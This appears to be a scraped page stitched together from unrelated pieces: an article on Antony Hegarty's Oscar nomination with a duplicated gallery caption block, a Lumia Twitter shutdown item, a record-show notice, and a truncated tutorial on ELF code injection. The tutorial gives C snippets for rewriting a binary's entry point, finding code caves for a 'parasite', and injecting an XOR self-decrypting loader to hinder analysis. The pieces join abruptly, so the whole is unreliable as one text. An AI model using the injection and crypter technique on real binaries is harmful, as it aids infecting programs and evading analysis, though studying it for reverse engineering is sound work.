Check out our archive of previous JvB-moto builds here.The Oscars might have come under repeated fire for its lack of racial and sexual diversity but there is one nominee who goes against the grain.
Antony Hegarty is the first trans person to be nominated for an Oscar in 30 years.
The vocalist of Antony & The Johnsons has recently received a nomination for Best Original Song for “Manta Ray” which features in the documentary Racing Extinction.
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Hegarty is the first trans person to be nominated for an award since composer Angela Morley received a nomination back in the 70s.
While Caitlyn Jenner campaigned for trans actress Mya Taylor to win an Oscar for her performance in Tangerine, she sadly missed out.
Although a number of actors have won Oscars for playing transgender characters - take Jared Leto’s performance as a trans woman in Dallas Buyers Club or Eddie Redmayne’s role in The Danish Girl - it is still virtually unheard for trans artists to be nominated.
Known for her beguilingly high pitched voice, soot-black hair and towering 6ft 4 physique, Hegarty has become a force to reckoned with.
Early years
Born in Chichester in England in 1971, Hegarty moved around a great deal as a child. First off, she moved to Amsterdam, the place where she was happiest. “That's when my life turned from black and white to colour,” she told The Guardian. Later, the musician moved to San Francisco with the whole family in tow. Raised as a catholic, Hegarty initially espoused religion before deciding at the tender age of 13 that if she was indeed sent to hell as she imagined, she “would go kicking and screaming and do what the hell I wanted".
It wasn’t until 1990 that Hegarty finally decided to make the move to Manhattan to embark on university. It was here that she really found herself. Roaming the streets of downtown New York in a black satin slip, she plastered the words “f**k off” on her forehead for all to see.
Musical career
Hegarty went on to establish a performance art collective with fellow musician and close friend DJ Johanna Constantine in New York’s Lower East Side. The avant-garde drag theatre troupe known as Blacklips included an eclectic range of downtown musicians, dancers, painters and film-makers.
By 2000, Hegarty had released her debut album titled Antony and the Johnsons. But it wasn’t until I Am a Bird Now that Hegarty finally established herself. Featuring guest performances by the likes of Lou Reed, Rufus Wainwright and Boy George, the 2005 album defied expectations and went on to win a Mercury Prize. Dubbed the Album of the Year by Mojo magazine, the band toured North America, Europe, Australia, even reaching the depths of South America.
Today I am a boy
"For Today I am a Boy" is undoubtedly one of Hegarty’s most famous songs. Tracing the trajectory of a young boy longing to grow up to be a woman, it includes the esteemed lyrics “One day I'll grow up, I'll be a beautiful girl. But for today I am a child, for today I am a boy”. Speaking to The Independent in an interview back in 2012, she explains it was “a song that was quite embarrassing for me to perform”. Despite this, Hegarty says she, “enjoyed the challenge of moving through that shame and seeing if it could expand and have resonance for other people.”
Shape Created with Sketch. People news in pictures Show all 9 left Created with Sketch. right Created with Sketch. Shape Created with Sketch. People news in pictures 1/9 US President-elect Donald Trump and musician Kanye West pose for media at Trump Tower in Manhattan, New York City Reuters 2/9 Anna Wintour apologises for criticising Donald Trump on a train. Fashionista was reportedly heard saying the President-elect would use the Presidency 'to sell himself and his brand' Getty 3/9 Ivanka Trump and her husband might be joining the next administration. The couple is plotting a move to the nation's capital Getty 4/9 Samuel L Jackson calls Muslims 'the new black kids in America' 'People perceive them as a threat before even saying hello,' actor says of Muslims in the US Getty 5/9 Former JLS star Oritse Williams denies rape allegation The singer has not been charged Getty 6/9 Bill Gates announces $1bn investment fund for clean energy technology Team-up with Richard Branson, Jeff Bezos and others aims to fight climate change - and reap'super' rewards Getty 7/9 Donald Trump's aide worked for anti-immigation extremists Poll was used by President-elect during campaign to justify banning Muslims from the US Reuters 8/9 Henry Kissinger tells Nobel Peace Prize forum to give Donald Trump a chance More than 7,000 people called for the'mastermind of war' to be arrested while visiting Norway EPA 9/9 John Travolta dismisses new Scientology documentary by former member Leah Remini The actor defends the church and says it was a source of support for him when he lost his girlfriend, mother and son Getty 1/9 US President-elect Donald Trump and musician Kanye West pose for media at Trump Tower in Manhattan, New York City Reuters 2/9 Anna Wintour apologises for criticising Donald Trump on a train. Fashionista was reportedly heard saying the President-elect would use the Presidency 'to sell himself and his brand' Getty 3/9 Ivanka Trump and her husband might be joining the next administration. The couple is plotting a move to the nation's capital Getty 4/9 Samuel L Jackson calls Muslims 'the new black kids in America' 'People perceive them as a threat before even saying hello,' actor says of Muslims in the US Getty 5/9 Former JLS star Oritse Williams denies rape allegation The singer has not been charged Getty 6/9 Bill Gates announces $1bn investment fund for clean energy technology Team-up with Richard Branson, Jeff Bezos and others aims to fight climate change - and reap'super' rewards Getty 7/9 Donald Trump's aide worked for anti-immigation extremists Poll was used by President-elect during campaign to justify banning Muslims from the US Reuters 8/9 Henry Kissinger tells Nobel Peace Prize forum to give Donald Trump a chance More than 7,000 people called for the'mastermind of war' to be arrested while visiting Norway EPA 9/9 John Travolta dismisses new Scientology documentary by former member Leah Remini The actor defends the church and says it was a source of support for him when he lost his girlfriend, mother and son Getty
Spokesperson for transgender rights
While Hegarty has become a vocal spokesperson for trans people, she has always remained wary of speaking on behalf of the whole community or homogenising varying experiences. In her own words, “I am speaking out about my experiences but I can't speak for anyone else. Especially because my situation is ambiguous because I haven't transitioned from male to female”.
“My experience as a transgender person has been to become comfortable expressing my sense of difference within the identity of being trans. For a lot of people, that's not their experience at all. They don't want to be trans, they want to be the opposite sex,” she added. “I have so much love for those people because their condition is very real. It's almost like a sacred condition. Kids experiencing that are in a sacred crisis. They have all these gifts that boys and girls don't have.”
She has been vocal about the fact she would like someone transgender to play her in a film of her life, and once said: “I am sick of how the movie industry has interesting gay or transgendered people played by heterosexuals. It feels like another kind of minstrel show to me”.
Proponent of transfeminism
Hegarty is the co-founder of Future Feminist Foundation, a New-York based collective of artists, who are united by their desire for a move away from patriarchal power relations. In their own words, they support ”a shift towards more feminine systems of governance, a shift away from patriarchy and a reorganisation of our society and our civilisations“.
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Subscribe nowMicrosoft is continuing the process of shutting down most of its Lumia branded social networking accounts. On September 1, it will close its @LumiaHelp page on Twitter, redirecting people with questions about their Lumia smartphones to the @MicrosoftHelps page.
The announcement of the closing of @LumiaHelps (via Neowin ) was posted just a few hours ago :
A few weeks ago, we noted that the official Lumia Twitter accounts for Spain, Russia, UK, India and others stopped updating on June 30 or earlier. Now those same Twitter accounts have also been updated to indicate they will close on September 1, along with the Lumia US page. Some are redirecting users to the global Lumia Twitter account, while others are being passed on to their local Microsoft or Windows Twitter page.
Microsoft has even set up an FAQ page to explain what going on:There will be something for every music lover at an upcoming record show in Burlington, says the event’s organizer.
“Vinyl records have exploded again and we are hoping to have another great show with over 25 vendors and thousands and thousands of records for sale,” said Mark Demerling of the Burlington Record and Music Memorabilia Show.
“In addition there will be CDs, books, posters and all sorts of music-related memorabilia.”
The show will be held Sunday, Nov. 27 at the Burlington Seniors Centre from 10:30 a.m. to 4 p.m.
Whatever your interest, be it classic rock, punk, alternative or jazz, there will be something for everyone, Demerling said.
“We will have a turntable technician specialist to answer any questions you may have. At noon local musician James Clark will entertain and of course there will be door prizes. Also, local multi-media artist Kieran Hughes will display some of his incredible music-related art,” he said.
“Finally, as is our custom, we will be working with the Salvation Army of Burlington as our charity of choice. The infamous $1 ‘record diggers’ table will be jam-packed with all sorts of great buys. More importantly, all proceeds from the ‘record diggers’ table will go to the Salvation Army to help people in our community who are in need at this time of year.”
Admission costs $3 at the door. Parking on site is free. The seniors’ centre is located at 2285 New St.
For more information, call 905-639-2847 or go to the event’s Facebook page at www.facebook.com/burlington.recordshow.ELF Binary Code Injection, Loader/'Decrypter'
Finding code caves as a way to inject code into a binary has bee around for a long time, pioneered by virii writers years ago. Similarily, binary protection in the form of encryption has also been around for years, mostly pioneered by Shareware developers as a way to protect their software from being statically analyzed and patched.
Therefore, this article will not demonstrate any new or novel techniques. I simply attempt to show the process which a novice coder/security enthusiast (like myself) can understand at a basic level how this technique works and how to develop your own tools to both reverse engineer existing binary protection schemes and to develop your own.
I am neither a professional developer or reverse engineer. I am sure this paper and the accompanying code is riddled with bugs and mistakes. I'm sure I've taken the long way around in doing certain things due to simple lack of knowledge. Any constructive criticism is greatly appreciated as part of the reason I undertook this project was to simply learn myself and possibly assist others who could potentially benefit from the perspective of a novice such as myself.
Now that the disclaimers are out of the way, without further ado, my attempt to explain my last few days of hacking away at writing my own ELF loader/crypter and inject it into a binary, hope you enjoy!
One of the first things I had to do and a big reason for this project was to get famiiar with the Executable and Linking Format. The first thing I did was to set out to learn how to programmatically determine the intial entry point into a binary. In otherwords, when we run an ELF binary how can I determine where in memory the first instruction would lie.
Luckily, it's fairly simple and straight forward to not only obtain the Entrypoint but to change it to whatever we want. The Entrypoint is available to you in the ELF Header. Under the field e_entry. The ELF Header is the first 64 bytes (on 64bit systems which is the target of this paper) in any ELF binary file. The e_entry member of the header can be found 0x18 bytes into the file. You could easily use standard open/read system calls to read this 8 byte value to obtain the entrypoint but Linux already has built in ELF structures defined for use in the header file /usr/include/elf.h.
The very first code I wrote was to read and modify the entrypoint which you can see below. This code doesn't take much explanation, it's pretty self explanatory. We declare an Elf64_Ehdr structure and pass it to read() to read the structure out of the opened file descriptor. We then set the e_entry member to a new value and write it back. One caveat to remember here is that you'll have to do an lseek() back to the beginning of the file as the read call will move the file offset.
Elf64_Ehdr ehdr; int fd = open(argv[1], O_RDWR); read(fd, &ehdr, sizeof(ehdr)); printf("Entry: %x
", ehdr.e_entry); ehdr.e_entry = 0x41414141; lseek(fd, 0, SEEK_SET); write(fd, &ehdr, sizeof(ehdr)); close(fd);
At all facets of development process I was assisted greatly by the readelf and xxd programs which you should have available to you. readelf as its name implies will read an ELF file and output relevant data such as the ELF Header, Program Header, Section Headers etc. It was a good tool to confirm the changes I was making were correct. I used xxd as a way to examine bytes at certain offsets in the binary file I was working with and it was valueable to visually inspect and verify that my changes were correct.
Make a simple hello world program, compile and run the above code against it and note how the entrypoint changes to 0x41414141. Obviously, now when you try and run your hello world program you should get a segmentation fault due to trying to access memory at 0x41414141. So at this point we've changed the execution flow, specifically the starting address of this binary. Now we need to find somewhere in our binary that we can use to write some code and then redirect the entrypoint to this position in the code.
What I did next was try to find space inside the binary. I tried to find a sequence of bytes with a 0 value assuming that this space was not used and I could write my own code without clobberring actual code/data used in the program. These sequence of zeroes/space inside of a binary have been called "code caves" by reversers and virii writers for years.
In order to find these "code caves", I wrote some code to read in the binary file and step through it byte by byte locating all of the "code caves" available for use in the file and then reporting to me the file offset of the largest cave found. This would be the address where I would insert my code, or in virii terminology, the "parasite". The code is too large to include in this article but I have included the relevant function for you to peruse here, disclaimer again that the code is very poorly written with no error checking. I hacked it together over a few hours while undertaking this project, but it seems to work and maybe you can learn from it.
One thing to understand is that the file offset reported from the function above will not be the same address/offset in memory. A File Offset and a Memory Address are different. A File Offset is mapped into memory at an Address. The ELF format provides to you the base address at which your file is going to be mapped into memory so what I did was retrieve the Image Base and then add the File Offset to obtain the address in memory where that file offset would be.
The image Base Address can be located inside of a Program Header. ELF files will have multiple program headers. The first program header in an ELF file is located at ELF64_Ehdr.e_phoff. That is, there is a field in the ELF header that contains an offset into the file where you can read the first Program Header.
The image base address is located in the very first Program Header with a p_type of PT_LOAD. Once you have identified this Program Header you can retrieve the base address from the field p_vaddr. Once we have the base address we can simply add that to our file offset to obtain a virtual address where our code at the file offset will be when loaded into memory. The code below attempts to show you how to retrieve the base address.
long getImageBase(int fd) { Elf64_Ehdr ehdr; Elf64_Phdr phdr; lseek(fd, 0, SEEK_SET); read(fd, &ehdr, sizeof(ehdr)); // read Elf Header int numheaders = ehdr.e_phnum; // how many program headers are there? lseek(fd, ehdr.e_phoff, SEEK_SET); // set file offset to first program header as provided by elf.e_phoff for(int i=0;i<numheaders;i++) // loop through all program headers { read(fd, &phdr, sizeof(phdr)); if (phdr.p_type == 1) // check the p_type for 1 which is PT_LOAD { printf("ImageBase: %x
", phdr.p_vaddr); // first header that is a PT_LOAD type contains image base break; } } return phdr.p_vaddr; }
So at this point I had a file offset to the beginning of a code cave and I had the image base, adding them together gave me a virtual address when the program was loaded into memory. I now had to simply change the Entrypoint to this address and then I had some room with which I could write some assembly code to do whatever I want. I chose to write some code which would act as a ELF decrypter. What I mean by that is that I first wrote a program to encrypt all of the code in an ELF binary so that anyone trying to examine the code statically with a dissasembler like IDA would only see garbage instructions.
So you wonder to yourself why you would need to include code inside the binary to unencrypt it. Why not just unencrypt it with an external program built to do this? this is because we want the binary to be self contained and able to run without any external utilities. Without the 'loader'or 'unencryption' routines that we inject into the ELF you'd need an external program to unencrypt the binary file before running it (which then leaves it unencrypted on disk). This way the binary is self contained, can still run but is also encrypted on disk.
I use the term encryption loosely; as all I am doing on this first iteration of my projecy is a simple XOR. If you know anything about encryption, you understand this isn't strong and easily broken. I used a simple xor due to simplicity and so that I could perfect the actual process of injectig the loader code into the file and having it actually work before looking at making the encryption methods stronger.
Now we have found space in our file, computed the virual address of where that space is located in memory and changed the entrypoint of our target ELF binary to reflect this address. The next step is to develop the code that we plan to run at this location and then write it into the file at the file offset we found earlier.
I made a decision at this point to only encrypt the.text section of ELF binaries. The.text section will generally hold the executable code of an ELF binary. So other sections such as.rodata containig strings etc will still be unencrypted. I made this choice to simplify the code at this point to ensure everything works as I expect but encrypting other sections is trivial.
In order to encrypt just the.text section (again, the section that contains all of the ELF binary code) we have to first obtain the file offset of this section on disk. That is, where the actual bytes for this section lie in the file. We also need to know how big this section is so that we don't encrypt anything outside of just the data in the.text section.
Once again we can retrieve all of the necessary information from the various structures provided by elf.h to describe the ELF format. The first thing we have to do is find out where our section headers exist in the file. The ELF header has a field called e_shoff which contains the offset of the first section. The ELF header also contains several other useful fields for determining and reading in the.text section which are e_shnum which is the number of sections in this ELF binary and the e_shentsize which contains the size of each section.
Finding a certain section takes a little bit more work as there isn't a field which contains the name of the section we're looking at, instead each section header has an sh_name field which itself is an offset into the.strstab section which contains the name of the section. The strtab section can be found by reading in the value of e_shstrndx which is located in the ELF Header. Below is code on how to find a certain section, specifically the.text section.
First we must get the strtab index retrieved from the ELF Header
int get_str_table(int fd, int *size) { Elf64_Ehdr ehdr; Elf64_Shdr shdr; lseek(fd, 0, SEEK_SET); // set file descriptor to beginning of file to read in ELF Header read(fd, &ehdr, sizeof(ehdr)); lseek(fd, (ehdr.e_shoff + (ehdr.e_shentsize * ehdr.e_shstrndx)), SEEK_SET); // move to FIRST_SECTION_OFFSET + (SIZE OF SECTIONS * INDEX_WHERE_STRTAB_SECTION_IS) read(fd, &shdr, sizeof(shdr)); // read strtab section header *size = shdr.sh_size; // return the size of the strtab section, we need to know the size so we can read it all in |
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